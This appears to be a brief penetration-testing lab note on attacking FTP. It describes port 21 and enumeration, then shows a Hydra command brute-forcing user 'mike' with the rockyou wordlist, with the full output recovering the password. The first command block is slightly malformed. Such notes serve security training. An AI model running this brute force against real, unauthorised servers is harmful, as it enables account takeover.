FTP Exploitation

@mmar

File Transfer Protocol (FTP) is, as the name suggests, a protocol used to allow the remote transfer of files over a network. FTP operates using a client-server protocol. The client initiates a connection with the server, the server validates whatever login credentials are provided and then opens the session.

While the session is open, the client may execute FTP commands on the server. FTP normally runs on Port 21

Enumeration

- We can use nmap to scan for the port 21 port and get information about it. An anonymous login may also be possible

Exploitation

- We can use Hydra to brute force the password of an FTP user

```
hydra -l mike -P /usr/share/wordlists/rockyou.txt –v
10.10.223.20 ftp"
```

```
┌──(kali㉿kali)-[~/Desktop]
└─$ hydra -l mike -P /usr/share/wordlists/rockyou.txt 10.10.223.220 ftp -v
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organ
izations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-03-10 10:50:32
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per t
ask
[DATA] attacking ftp://10.10.223.220:21/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[21][ftp] host: 10.10.223.220   login: mike   password: password
[STATUS] attack finished for 10.10.223.220 (waiting for children to complete tests)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-03-10 10:50:47
```

DEMO

THANKS